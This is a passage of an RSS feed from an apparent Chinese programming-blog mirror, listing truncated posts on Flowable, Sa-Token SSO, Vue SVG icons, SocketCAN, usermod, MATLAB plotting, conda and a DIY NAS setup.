      <description> git clone -b flowable-release-6.7.2 https://github.com/flowable/flowable-engine.git 下载之后File-Open，打开工程，modules是核心代码模块&#xA;找到flowable-root.xml按下alt+f12 ，启动Terminal终端输入命令：mvn clean package -DskipTests -Pdeploy -Dmaven.javadoc.skip=true&#xA;我是先打包之后再引入的模块，&#xA;将modules中的模板全部引入，启动应用程序：flowable-ui-app&#xA;引用：https://blog.csdn.net/houyj1986/article/details/85725202&#xA;h2数据库：&#xA;java编写的数据库&#xA;基于内存使用基于文件使用 使用mysql spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver # &amp;amp;nullCatalogMeansCurrent=true 没有表会自动创建表 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/flowable-demo?characterEncoding=UTF-8&amp;amp;useSSL=false&amp;amp;serverTimezone=Asia/Shanghai&amp;amp;nullCatalogMeansCurrent=true 使用mysql，添加mysql驱动：&#xA;启动项目:&#xA;数据库中会创建对应的表：&#xA;git使用 切换分支报错 ： The following untracked working tree files would be overwritten by checkout&#xA;解决：git clean -d -fx&#xA;git clean 参数&#xA;-d ： 删除未被添加到git的路径中的文件&#xA;-f ： 强制运行&#xA;-x ： 删除忽略文件已经对git来说不识别的文件&#xA;-n ： 显示将要删除的文件和目录&#xA;使用git clean -d -fx 会把一些程序必要的文件删除，会把git本来ignore的文件删除&#xA;https://blog.csdn.net/bencheng06/article/details/94389174&#xA;# 显示所有分支 git branch -a # 切换分支 git checkout -b 分支名字 远程分支名字 </description>
    </item>
    <item>
      <title>使用Sa-token实现单点登录</title>
      <link>https://bchobby.github.io/posts/16c0acfea4b01c9271677ba4b5ba8008/</link>
      <pubDate>Tue, 17 Jan 2023 12:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16c0acfea4b01c9271677ba4b5ba8008/</guid>
      <description>使用Sa-token实现单点登录 单点登录需求为何选择Sa-Token简单使用sa-token接口如何保持登录态使用拦截器实现鉴权聊聊Sa-Token的理解聊聊遇到的一些问题 单点登录需求 其实一直想写一个单点登录系统，现在的现状是公司内部有非常多项目的，然后每个项目一套登录系统，系统和系统之间存在单独的鉴权，每一个操作应用都需要登录一次的话，这样不仅仅用户体验不好，也会出现非常多重复的代码，于是单点登录的需求诞生了。&#xA;为何选择Sa-Token 轻量级且开箱即用，如果你说为何不用shiro，那么我只能说它比shiro更加轻量更加好用，只需要简单的配置和写几行代码，即可实现登录功能。&#xA;简单使用sa-token 1.往项目中引入sa-token依赖&#xA;&amp;lt;!-- sa-token鉴权模块 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.dev33&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sa-token-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.34.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Sa-Token 插件：整合SSO 【sso单点登录依赖】 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.dev33&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sa-token-sso&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.34.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Sa-Token 整合 Redis (使用 jackson 序列化方式) 【后续版本管理改为父级】 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.dev33&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sa-token-dao-redis-jackson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.34.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.编写配置文件&#xA;# 端口 server: port: 9000 # Sa-Token 配置 sa-token: # ------- SSO-模式一相关配置 (非模式一不需要配置) # cookie: # 配置 Cookie 作用域 # domain: stp.com # ------- SSO-模式二相关配置 sso: # Ticket有效期 (单位: 秒)，默认五分钟 ticket-timeout: 300 # 所有允许的授权回调地址 allow-url: &#34;</description>
    </item>
    <item>
      <title>【Google Chrome浏览器离线安装包下载方法】</title>
      <link>https://bchobby.github.io/posts/abac8ac9fd310664c76be72c8308dd33/</link>
      <pubDate>Tue, 17 Jan 2023 12:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abac8ac9fd310664c76be72c8308dd33/</guid>
      <description>Google Chrome浏览器离线安装包下载方法 （谷歌浏览器离线下载方法） （谷歌浏览器离线下载方法） （离线安装包官网下载地址在最后）&#xA;1、打开 Chrome 浏览器主页：http://www.google.cn/chrome&#xA;2、地址栏最后的网址是这样的：http://www.google.cn/chrome/browser/desktop/index.html&#xA;3、在网址最后加上：?standalone=1&amp;amp;platform=win64，回车键后打开的是 64位下载页面，点击“下载Chrome”按钮，得到的就是 Google Chrome 64位离线安装包&#xA;其中 ?standalone=1 指离线安装包，platform=win64 指64位Windows 版本。&#xA;如果加上的只是“?standalone=1”可以用来下载32位的Chrome离线包。用“mac”替换“win”，就可以下载 Mac 版本的了。&#xA;https://www.google.cn/chrome/?standalone=1&amp;amp;platform=win64&#xA;（此链接为谷歌浏览器的官方下载地址，我已经添加好参数，点击直接打开页面，点击 下载Chrome 按钮，开始下载windows的64位浏览器的离线安装包，系统会默认是最新版本）&#xA;—————————————————————————&#xA;此后无正文&#xA;—————————————————————————</description>
    </item>
    <item>
      <title>Java Socket官方文档学习（一）</title>
      <link>https://bchobby.github.io/posts/7d48829cd0ae3253740252dd40d47a3b/</link>
      <pubDate>Tue, 17 Jan 2023 05:53:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d48829cd0ae3253740252dd40d47a3b/</guid>
      <description>Java Socket官方文档学习（一） 今天尝试用Java重写字节青训营的GO项目SOCK5代理 学习Java Socket包，部分内容取自Orcale官方文档由我翻译。&#xA;What Is a Socket? // 什么是Socket&#xA;A socket is one end-point of a two-way communication link between two programs running on the network.&#xA;Socket classes are used to represent the connection between a client program and a server program.&#xA;The java.net package provides two classes–Socket and ServerSocket&#xA;–that implement the client side of the connection and the server side of the connection, respectively.&#xA;一个Socket是两个运行在网络上的程序通讯链接的一个端点。Socket类被用于连接一个客户端程序和一个服务端程序。</description>
    </item>
    <item>
      <title>vue3使用svg图标多种方式</title>
      <link>https://bchobby.github.io/posts/8a40e745c47240752ff7b6889c5912df/</link>
      <pubDate>Mon, 16 Jan 2023 23:22:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a40e745c47240752ff7b6889c5912df/</guid>
      <description>方式1使用在线链接访问&#xA;在iconfont找到自己的项目的图标选择Symbol获取在线链接&#xA;2：在vue3项目中找到public的index.html进行script进行引入&#xA;打开浏览器看：这样就会自动注入到body下&#xA;在项目直接使用&#xA;//控制图标的大小 &amp;lt;svg style=&#34;width: 10px; height: 10px&#34;&amp;gt; &amp;lt;use href=&#34;#icon-shanchu&#34;&amp;gt;&amp;lt;/use&amp;gt; &amp;lt;/svg&amp;gt; 显示出了删除的图标&#xA;封装的写法(上面的代码写着太重复下面进行封装)&#xA;1:新建一个专门获取svg图标的组件&#xA;icon.vue (svg/index.vue)&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;svg :style=&#34;style&#34;&amp;gt; &amp;lt;use :href=&#34;names&#34;&amp;gt;&amp;lt;/use&amp;gt; &amp;lt;/svg&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup&amp;gt; import { defineProps, withDefaults } from &#34;vue&#34;; const props = defineProps({ name: { type: String, default: &#34;&#34;, }, style: { type: Object, default: () =&amp;gt; { return { width: 10, height: 10, color: &#34;&#34;, }; }, }, }); const names = `#${props.</description>
    </item>
    <item>
      <title>定义一个Student类，包含三个属性 学号、姓名、成绩（0-100），包含方法“构造方法”、“获得学号”、“获得姓名”、“获得成绩”； 定义一个测试类，在测试类中依次生成6个Student类型的学生...</title>
      <link>https://bchobby.github.io/posts/ae79f1a17abe6dac75eb73f6bbcf9d52/</link>
      <pubDate>Mon, 16 Jan 2023 23:04:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae79f1a17abe6dac75eb73f6bbcf9d52/</guid>
      <description>这是一个示例代码：&#xA;import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Random; class Student { private int id; private String name; private int score; public Student(int id, String name, int score) { this.id = id; this.name = name; this.score = score; } public int getId() { return id; } public String getName() { return name; } public int getScore() { return score; } public void setScore(int score) { this.score = score; } } class Test { public static void main(String[] args) { Random r = new Random(); List&amp;lt;Student&amp;gt; students = new ArrayList&amp;lt;&amp;gt;(); for (int i = 1; i &amp;lt;= 6; i++) { students.</description>
    </item>
    <item>
      <title>创建函数getSum,封装计算1-100之间整数的和 ；计算任意两个数相加的和；计算任意两个年份之间的所有闰年数量；判断一个数是否为素数；计算1到任意数之间整数的和</title>
      <link>https://bchobby.github.io/posts/620479c7d62e9338886e61fc5e745ca0/</link>
      <pubDate>Mon, 16 Jan 2023 22:21:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/620479c7d62e9338886e61fc5e745ca0/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&#34;utf-8&#34;&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;input type=&#34;text&#34; placeholder=&#34;请输入一个数&#34; id=&#34;num&#34;&amp;gt;&#xA;&amp;lt;button id=&#34;btn&#34;&amp;gt;查看&amp;lt;/button&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;// 创建函数getSum,封装计算1-100之间整数的和 最后多次调用&#xA;function getSum(){&#xA;for(var i=1,sum=0;i&amp;lt;=100;i++){&#xA;sum+=i&#xA;}&#xA;console.log(sum);&#xA;}&#xA;getSum()&#xA;// 计算任意两个数相加的和&#xA;function add(a,b){&#xA;console.log(a+b);&#xA;}&#xA;add(3,5)&#xA;// 计算任意两个年份之间的所有闰年数量&#xA;function getCount(n1,n2){&#xA;for(var i=n1,count=0;i&amp;lt;=n2;i++){&#xA;if(i%4===0 &amp;amp;&amp;amp; i%100!==0 || i%400===0){&#xA;count++&#xA;}&#xA;}&#xA;console.log(count);&#xA;}&#xA;getCount(2000,2100)&#xA;// 判断一个数是否为素数&#xA;btn.οnclick=function () {&#xA;var n=num.value&#xA;console.log(n);&#xA;for(var i=2,count=0;i&amp;lt;n;i++){&#xA;if(n%i===0){&#xA;count++&#xA;break&#xA;}&#xA;if(count===0){&#xA;alert(&#39;素数&#39;)&#xA;}else{</description>
    </item>
    <item>
      <title>命令行 PDF 转换器:::fCoder 2PDF</title>
      <link>https://bchobby.github.io/posts/6dd12235f146719a72c0a7de258e9571/</link>
      <pubDate>Mon, 16 Jan 2023 18:13:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dd12235f146719a72c0a7de258e9571/</guid>
      <description>命令行 PDF 转换器 2PDF 是一个专业的命令行实用程序，用于以批处理模式将办公文档和图像转换为 PDF。2PDF，基于命令行界面和语法，通过简单的标准命令提供对批量转换为 PDF 的完全控制。&#xA;从 Windows 命令提示符将文档和图像转换为 PDF 2PDF 可以将 PDF 和几乎任何图像文件或文档转换为可移植文档格式 (PDF) 格式。该工具主要面向开发人员和系统管理员，具有广泛的可定制转换选项。它是一个强大的命令行实用程序，可以在 PC、服务器上使用或内置到任何应用程序中。2PDF 是一款先进的 PDF 转换器，可以完全自动化您的日常任务。&#xA;从命令行创建 PDF&#xA;PDF 是一种流行的格式，旨在呈现数据。使用 2PDF，您可以从 Word、图像和其他文件创建 PDF，也可以一次创建多个 PDF 文件。&#xA;拆分和合并文档，提取 PDF 页面&#xA;2PDF 提供各种参数，可以帮助您管理多页文档，以便合并文件、合并不同的文件类型或将多个文件拆分为单独的页面。&#xA;将水印添加到 PDF&#xA;（文本或图像）&#xA;在您的文档或图像上放置水印可以保护您的项目免受未经授权的使用或添加一些额外的信息来输出 PDF 文件。&#xA;自动旋转和旋转 PDF 中的页面&#xA;2PDF允许您将页面旋转设置到一定程度，自动旋转（页面方向）。您还可以设置背景颜色和旋转方向：顺时针或逆时针。&#xA;使用 OCR 创建可搜索的 PDF&#xA;2PDF可以使输出的PDF文件可搜索，以便您可以查找和编辑文本。您可以从扫描、图像和其他不可搜索的文件中获取文本。可用语言包括英语和其他欧洲语言。&#xA;按计划或通过脚本运行文件转换&#xA;无需手动执行命令！只需通过 Windows 任务计划程序设置基于时间或事件的触发器。或者，使用简单的 BAT、CMD 或 VBS 脚本。&#xA;将 DOCX、XLSX、JPEG、TIFF、PNG、HTML 等保存为 PDF&#xA;2PDF通过命令行将各种格式转换为PDF：PDF文档包括PDF Portfolio、Microsoft Word DOC、DOCX、Microsoft XPS文件、Excel XLS、XLSX和XLSM文档、PowerPoint PPT、PPTX演示文稿、TXT和RTF文本文件、HTML页面、PostScript PS、EPS 文件、Visio 和 Publisher 文件；Photoshop PSD、TIFF 和 CorelDraw 图像、相机 RAW 照片等。</description>
    </item>
    <item>
      <title>SocketCAN 命名空间 VCAN VXCAN CANGW 举例</title>
      <link>https://bchobby.github.io/posts/e6326095587c48a62f20c3f8796d3aa0/</link>
      <pubDate>Mon, 16 Jan 2023 14:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6326095587c48a62f20c3f8796d3aa0/</guid>
      <description>文章目录 NAMESPACESocketCAN最新 can-utils 安装VCAN 举例VXCAN 举例CANGW 举例参考 NAMESPACE namespaces, 命名空间, 将全局系统资源包装在抽象中, 使命名空间中的进程看起来拥有自己全局资源的独立实例. 命名空间的一个用途是实现容器.&#xA;Linux 命名空间类型及隔离物(Isolates):&#xA;Cgroup, Cgroup根目录IPC, System V IPC, POSIX消息队列Network, 网络设备, 堆叠, 端口等Mount, 挂载点PID, 进程IDTime, 启动和单调时钟User, 用户和组IDUTS, 主机名和NIS域名 随着不断发展, 命名空间的类型也可能继续增删. SocketCAN 属于网络, 所以本篇主要是用到 Network 网络命名空间.&#xA;SocketCAN SocketCAN, 是Linux的CAN协议实现, 使用 Berkeley socket API, Linux网络堆栈, 把 CAN 设备驱动实现为网络接口. CAN 的 socket API 设计与 TCP/IP 协议尽可能相似, 熟悉网络编程就能轻松的使用 SocketCAN.&#xA;SocketCAN 网络层协议和帧处理 的参考示意图:&#xA;其中:&#xA;CAN_RAW, 读取和写入 CAN 帧, 经过了接收过滤器(receive filters), Linux ns时间戳, 单个CAN口允许多个应用独立运行, 本地回显可实现网络透传, CAN_RAW 经常配合 bind 使用CAN_BCW, Broadcast Manager, 循环消息的计时器和过滤器支持, 收发路径功能, 逐位过滤 CAN 帧 payload, 检测超时, 多路 CAN 消息的即时数据更新, CAN_BCW 需要配合 connect 使用, 当使用 recvfrom() 而不是 read() 检索BCM套接字消息时, can_ifindex 提供了原始 CAN 接口.</description>
    </item>
    <item>
      <title>Linux常用命令——usermod命令</title>
      <link>https://bchobby.github.io/posts/8c86fee610dc0ffacea2a227244172eb/</link>
      <pubDate>Sun, 15 Jan 2023 23:25:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c86fee610dc0ffacea2a227244172eb/</guid>
      <description>在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) usermod 用于修改用户的基本信息&#xA;补充说明 usermod命令用于修改用户的基本信息。usermod 命令不允许你改变正在线上的使用者帐号名称。当 usermod 命令用来改变user id，必须确认这名user没在电脑上执行任何程序。你需手动更改使用者的 crontab 档。也需手动更改使用者的 at 工作档。采用 NIS server 须在server上更动相关的NIS设定。&#xA;语法 usermod(选项)(参数) 选项 -c&amp;lt;备注&amp;gt;：修改用户帐号的备注文字； -d&amp;lt;登入目录&amp;gt;：修改用户登入时的目录； -e&amp;lt;有效期限&amp;gt;：修改帐号的有效期限； -f&amp;lt;缓冲天数&amp;gt;：修改在密码过期后多少天即关闭该帐号； -g&amp;lt;群组&amp;gt;：修改用户所属的群组； -G&amp;lt;群组&amp;gt;；修改用户所属的附加群组； -l&amp;lt;帐号名称&amp;gt;：修改用户帐号名称； -L：锁定用户密码，使密码无效； -s&amp;lt;shell&amp;gt;：修改用户登入后所使用的shell； -u&amp;lt;uid&amp;gt;：修改用户ID； -U:解除密码锁定。 参数 登录名：指定要修改信息的用户登录名。&#xA;实例 将 newuser2 添加到组 staff 中：&#xA;usermod -G staff newuser2 修改newuser的用户名为newuser1：&#xA;usermod -l newuser1 newuser 锁定账号newuser1：&#xA;usermod -L newuser1 解除对newuser1的锁定：&#xA;usermod -U newuser1 增加用户到用户组中:&#xA;apk add shadow # 安装 shadow 包, usermod 命令包含在 usermod 中 usermod -aG group user # 添加用户到用户组中 -a参数表示附加，只和-G参数一同使用，表示将用户增加到组中。</description>
    </item>
    <item>
      <title>20个MATLAB高级数据可视化案例-MATLAB高级绘图教程</title>
      <link>https://bchobby.github.io/posts/02dac7ae3d3a6fd1696841a3ddffff58/</link>
      <pubDate>Sun, 15 Jan 2023 22:13:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02dac7ae3d3a6fd1696841a3ddffff58/</guid>
      <description>图形是呈现数据的一种直观方式，在用Matlab进行数据处理和计算后，我们一般都会以图形的形式将结果呈现出来。尤其在论文的撰写中，优雅的图形无疑会为文章加分。&#xA;1、绘制直方图 %% close all clear all clc %% 直方图的绘制 %直方图有两种图型：垂直直方图和水平直方图。而每种图型又有两种表现模式：累计式：分组式。 figure; z=[3,5,2,4,1;3,4,5,2,1;5,4,3,2,5]; % 各因素的相对贡献份额 colormap(cool);% 控制图的用色 subplot(2,3,1); bar(z);%二维分组式直方图,默认的为&#39;group&#39; title(&#39;2D default&#39;); subplot(2,3,2); bar3(z);%三维的分组式直方图 title(&#39;3D default&#39;); subplot(2,3,3); barh(z,1);%分组式水平直方图，宽度设置为1 title(&#39;vert width=1&#39;); subplot(2,3,4); bar(z,&#39;stack&#39;);%累计式直方图，例如:1,1+2,1+2+3构成了第一个bar title(&#39;stack&#39;) subplot(2,3,5); bar3h(z,0.5,&#39;stacked&#39;);%三维累计式水平直方图 title(&#39;vert width=1 stack&#39;); subplot(2,3,6); bar3(z,0.8,&#39;grouped&#39;);%对相关数据的颜色进行分组，默认的位&#39;group&#39; title(&#39;width=0.8 grouped&#39;); 2、绘制进阶柱状图 %% close all clear all clc %% =========柱状图的进阶========== figure; y=[300 311;390 425; 312 321; 250 185; 550 535; 420 432; 410 520;]; subplot(1,3,1); b=bar(y); grid on; set(gca,&#39;XTickLabel&#39;,{&#39;0&#39;,&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;,&#39;5&#39;,&#39;6&#39;}) legend(&#39;算法1&#39;,&#39;算法2&#39;); xlabel(&#39;x axis&#39;); ylabel(&#39;y axis&#39;); %使仅有的一组柱状图呈现不同颜色，默认的位相同颜色 data = [1.</description>
    </item>
    <item>
      <title>svg绘(viewBox viewport preserveAspectRatio)代替png图片等</title>
      <link>https://bchobby.github.io/posts/77cf887370b7c462dddee879f63ec262/</link>
      <pubDate>Sun, 15 Jan 2023 19:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77cf887370b7c462dddee879f63ec262/</guid>
      <description>当我们的代码中需要一个小图标的时候没必要去iconfont进行下载图标使用&#xA;要是下载的png格式那么容量还很大 远不如svg&#xA;直接自己代码写&#xA;记住svg的坐标朝向和数学坐标轴不一样&#xA;实现下图添加的小图标&#xA;&amp;lt;svg width=&#34;20px&#34; height=&#34;20px&#34; style=&#34;border: 1px solid red&#34;&amp;gt; &amp;lt;!-- x1 y1 线段的起始坐标 x2 y2线段的终点坐标 stroke-width 线段的宽度 stroke=&#34;线的颜色&#34; --&amp;gt; &amp;lt;line x1=&#34;0&#34; y1=&#34;10&#34; x2=&#34;20&#34; y2=&#34;10&#34; stroke-width=&#34;1&#34; stroke=&#34;red&#34;&amp;gt;&amp;lt;/line&amp;gt; &amp;lt;line x1=&#34;10&#34; y1=&#34;0&#34; x2=&#34;10&#34; y2=&#34;20&#34; stroke-width=&#34;1&#34; stroke=&#34;red&#34;&amp;gt;&amp;lt;/line&amp;gt; &amp;lt;/svg&amp;gt; 注意颜色&#xA;stroke=&#34;red&#34; 是直接应用为红色 stroke=&#34;currentColor&#34; 是找的父级的元素上的color来使用 &amp;lt;div class=&#34;test&#34;&amp;gt; &amp;lt;svg width=&#34;20px&#34; height=&#34;20px&#34; style=&#34;border: 1px solid red; color: blue&#34;&amp;gt; //currentColor指向的是父级的颜色此时为svg的color :blue (currentColor父级的父级的颜色对他没影响) // 如果currentColor父级没有颜色color那么在继续往上找 &amp;lt;line x1=&#34;0&#34; y1=&#34;10&#34; x2=&#34;20&#34; y2=&#34;10&#34; stroke-width=&#34;1&#34; stroke=&#34;currentColor&#34; &amp;gt;&amp;lt;/line&amp;gt; &amp;lt;line x1=&#34;10&#34; y1=&#34;</description>
    </item>
    <item>
      <title>Vue2框架 基础知识3</title>
      <link>https://bchobby.github.io/posts/bc1afab624fbadfc2eafd0a94086fddc/</link>
      <pubDate>Sat, 14 Jan 2023 20:49:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc1afab624fbadfc2eafd0a94086fddc/</guid>
      <description>组件注册 局部组件&#xA;创建一个组件.vue引入：import Mycomp from ‘./components/Mycomp.vue’注册组件&#xA;export default {&#xA;name: ‘App’,&#xA;components: {&#xA;Mycomp&#xA;}&#xA;}使用组件&#xA;组件组成&#xA;template 视图script 逻辑style 样式 全局组件&#xA;注册全局组件 在Vue对象身上有个Vue.component() 注册全局组件 在所有的组件中 不需要引入 可以直接使用&#xA;语法：&#xA;Vue.component(‘my-component-name’, {&#xA;// … 选项 …&#xA;})&#xA;代码演示&#xA;// import Vue from &#39;vue&#39;//运行时：vue.runtime.js import Vue from &#39;vue/dist/vue&#39; /注册全局组件 // Vue.component(&#39;组件名称&#39;,{内容配置}) Vue.component(&#39;my-comp&#39;,{ //视图 template :template作为属性使用 必须vue.js （完整版的vue.js） 默认引入-运行时-vue.runtime.js template:&#39;&amp;lt;div&amp;gt; &amp;lt;h2&amp;gt;我是一个全局组件&amp;lt;/h2&amp;gt; &amp;lt;p&amp;gt;{{ msg }}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#39;, //数据 data(){ return { msg:&#39;hello vue全局组件&#39; } }, //方法 methods:{ } }) 全局组件–可以挂载创建好的局部组件 注册全局</description>
    </item>
    <item>
      <title>Windows下，conda中提示EnvironmentNotWritableError</title>
      <link>https://bchobby.github.io/posts/7868d3439bd616808ea6f55681e2ba71/</link>
      <pubDate>Sat, 14 Jan 2023 19:55:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7868d3439bd616808ea6f55681e2ba71/</guid>
      <description>使用指令：conda update -n base conda，更新conda时，提示无写入权限。&#xA;EnvironmentNotWritableError: The current user does not have write permissions to the target environment.&#xA;environment location: C:\ProgramData\Anaconda3&#xA;EnvironmentNotWritableError: The current user does not have write permissions to the target environment. environment location: C:\ProgramData\Anaconda3 …&#xA;在开始-应用程序中，右键点击”Anaconda Prompt (Anaconda3)”，选择“以管理员身份运行”。即以管理员身份运行Anaconda Prompt。&#xA;再次运行指令：conda update -n base conda。&#xA;conda更新成功。</description>
    </item>
    <item>
      <title>查看Anaconda已配置环境的路径，并在PyCharm中更新编译环境</title>
      <link>https://bchobby.github.io/posts/24f0cbbbbab9e6eb61169a58fc398993/</link>
      <pubDate>Sat, 14 Jan 2023 19:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f0cbbbbab9e6eb61169a58fc398993/</guid>
      <description>查看Anaconda已配置环境的路径，并在PyCharm中更新编译环境 Anaconda配置好环境（以neroic为例）后，在PyCharm中更新编译环境。&#xA;选中新建的环境neroic，点击环境的右侧类似播放符号的绿色按钮，弹出菜单项，选择“Open Terminal”。&#xA;弹出cmd对话框，自动执行指令conda.bat activate &#34;C:\Users\Admin.conda\envs\neroic&#34;&#xA;C:\Users\Admin.conda\envs\neroic，即为配置环境的路径。&#xA;在文件浏览器中，访问该路径，包含有安装完成的相关库。里边有编译器文件python.exe&#xA;在PyCharm右底部，点击编译器Python 3.*，弹出对话框中选择Add New Interpreter。&#xA;在对话框“Add Python Interpreter”中，选择Environment的已有项&#34;Existing&#34;，点击右侧**按钮&#34;…“**，在弹出的对话框中，展开至配置环境Neroic的路径&#34;C:\Users\Admin.conda\envs\neroic”，选择python.exe文件。</description>
    </item>
    <item>
      <title>C&#43;&#43; 面向对象技术与编程课程设计——图书信息管理系统</title>
      <link>https://bchobby.github.io/posts/3935760b17017d4b7a401bca257c4274/</link>
      <pubDate>Sat, 14 Jan 2023 19:29:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3935760b17017d4b7a401bca257c4274/</guid>
      <description>目录&#xA;前言&#xA;一、基本要求&#xA;二、流程图&#xA;三、代码&#xA;1.类的创建 2.录入图书信息&#xA;3.删除图书信息&#xA;4.插入图书信息&#xA;5.查找图书信息&#xA;6.整体代码&#xA;总结&#xA;前言 先来一张效果图&#xA;一、基本要求 图书信息管理系统能实现以下功能：系统以菜单方式工作，图书信息录入功能(图书信息用文件保存) ；图书信息包括：登录号、书名、作者名、分类号、出版单位、出版时间、 价格；图书信息浏览功能（输出所有图书信息）；查询和排序功能：按书名查询（显示所有同名的书），按作者名查询（所有该作者的书）； 图书信息的删除，插入与修改。输入其他任意字符（错误输入）会显示其错误输入的输出结果。&#xA;二、流程图 界面显示菜单，通过用户的输入，switch进行判断调用相应的方法，显示相应的信息，结束这个功能后，界面显示询问：“继续吗？”，用户输入，若是取消，则退出系统；若是确定，则刷新页面，显示菜单。&#xA;三、代码 1.类的创建 一共创建了两个类。book类存放图书的各种信息，library类存放每本图书的对象，单链表指针(即library类的对象的地址)和各种功能。&#xA;class book { public: char name[100]; char num[100]; char tel[100]; char name1[100]; char time[100]; char cla[100]; char adress[100]; }; class library { public: book data;//对象 library *next;//单链表指针 void londecreat(library L, int n);//录入信息 void display();//显示信息 void sort();//排序信息 void findname(char* arr);//查找作者名 void findbook(char* arr);//查找图书名 void delete1(library &amp;amp;L, char* arr);//删除信息 void modify(library &amp;amp;L, char* arr, char* arr1, char* arr2, char* arr3, char* arr4, char* arr5, char* arr6, char* arr7);//修改信息 void insert(library &amp;amp;L, char* arr, char* arr2, char* arr3, char* arr4, char* arr5, char* arr6,char* arr7,char* arr8);//插入信息 }; 2.</description>
    </item>
    <item>
      <title>成功解决：如何修改CentOS 7中终端背景色和字体颜色</title>
      <link>https://bchobby.github.io/posts/1d56c610adda766ce5e8ea51705df57f/</link>
      <pubDate>Sat, 14 Jan 2023 16:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d56c610adda766ce5e8ea51705df57f/</guid>
      <description>一个混迹于Github、Stack Overflow、开源中国、CSDN、博客园、稀土掘金、51CTO等 的野生程序员。&#xA;目标：分享更多的知识，充实自己，帮助他人&#xA;GitHub公共仓库：https://github.com/zhengyuzh&#xA;以github为主：&#xA;1、分享前端+后端基础知识&#xA;2、前后端框架知识+框架使用分析&#xA;3、热门前端+后端面试题（实时更新）&#xA;4、开源项目（主要包含大学课程设计）&#xA;文章目录 1、默认主题2、修改2.1 打开终端2.2 选择配置文件首选项2.3 取消默认、自定义颜色2.4 效果展示 3、后语 1、默认主题 是这种白色的、我是看不习惯、总感觉少点啥、看文本也不方便、白花花的一片&#xA;2、修改 2.1 打开终端 鼠标在桌面右键、打开终端、选择编辑&#xA;2.2 选择配置文件首选项 2.3 取消默认、自定义颜色 2.4 效果展示 3、后语 学无止境。。。。。。</description>
    </item>
    <item>
      <title>DIY NAS服务器之OMV 5.6入坑指南（一）-openmediavalut 5.6安装</title>
      <link>https://bchobby.github.io/posts/23fbb6568d5d18a59ed40cf9708f2cbf/</link>
      <pubDate>Sat, 14 Jan 2023 16:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23fbb6568d5d18a59ed40cf9708f2cbf/</guid>
      <description>系列文章目录 DIY NAS服务器之OMV 5.6入坑指南（一）-openmediavalut 5.6安装&#xA;DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件&#xA;DIY NAS服务器之OMV 5.6入坑指南（三）- 切换系统源&#xA;DIY NAS服务器之OMV 5.6入坑指南（四） -安装docker和Portainer&#xA;DIY NAS服务器之OMV 5.6入坑指南（五） -数据同步及管理&#xA;目录&#xA;系列文章目录&#xA;一、DIY NAS服务器&#xA;装机清单：&#xA;二、NAS系统选择&#xA;三、安装OMV 5.6&#xA;（1）下载OMV 系统文件&#xA;（2）制作U盘启动盘（U盘安装盘）&#xA;（3）安装OMV&#xA;这里写几个踩过的坑：&#xA;一、DIY NAS服务器 百度网盘里攒了一堆电影、电视剧，想下载到电脑里，买了个4T硬盘，然后发现不够用，然后又买了个还是不够用，然后自己又不想开电脑看电视电影，平时看电视电影都是在ipad上看的，台式电脑800年难得开一台，觉得开机关机比较费劲。&#xA;很早就听过家用（或个人）NAS储存了。在某东、某宝看了群晖、威联通的成品NAS服务器，发现盘位小的自己又看不上，盘位多的又太贵，对一个会DIY电脑的IT码农来说，买（主）成（要）品（是）的（穷）性（流）价（下）比（了）确（没）实（钱）太（的）低（泪）了（水）。&#xA;网上也有很多组装NAS服务器的教程和资料，某鱼上面也有很多用矿渣DIY的成品、半成品的NAS服务器，翻了很久，也看了很久，都不是我想要的，然后看了张大妈(smzdm)上@阿文菌的《文菌装NAS 篇一：手把手教您组装一台2021年全能NAS，ALL IN ONE 配置清单，可抄作业》，决定以他这个配置清单为模板，自己攒台NAS服务器。&#xA;装机清单： 